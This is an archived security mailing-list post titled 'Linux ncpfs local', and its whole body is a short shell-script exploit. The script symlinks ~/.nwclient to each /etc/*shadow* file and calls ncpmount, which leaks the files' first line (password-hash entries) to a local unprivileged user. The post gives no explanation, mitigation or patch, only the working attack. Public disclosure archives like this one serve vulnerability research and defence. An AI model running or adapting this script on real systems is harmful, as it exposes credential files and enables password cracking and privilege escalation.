| lists.openwall.net | lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC | |
|
Open Source and information security mailing list archives
| ||
|
Message-ID: <Pine.GSO.4.58.0501301447370.24066@fatboy.ethernet.org>
From: super at innu.org (Derek Callaway)
Subject: super[0]: Linux ncpfs local
#!/bin/sh
(echo 'head1 by super'
echo -e '==============\n'
(function head1(){
(local -r MNTDIR=~/mnt.$$
(mv ~/.nwclient ~/.nwclient.temp
ln -sf $1 ~/.nwclient
mkdir $MNTDIR)2>/dev/null
(echo $1
ncpmount $MNTDIR
echo)
(rmdir $MNTDIR
rm ~/.nwclient
mv .nwclient.temp .nwclient)2>/dev/null)}
(for i in /etc/*shadow*
do head1 $i
done)))#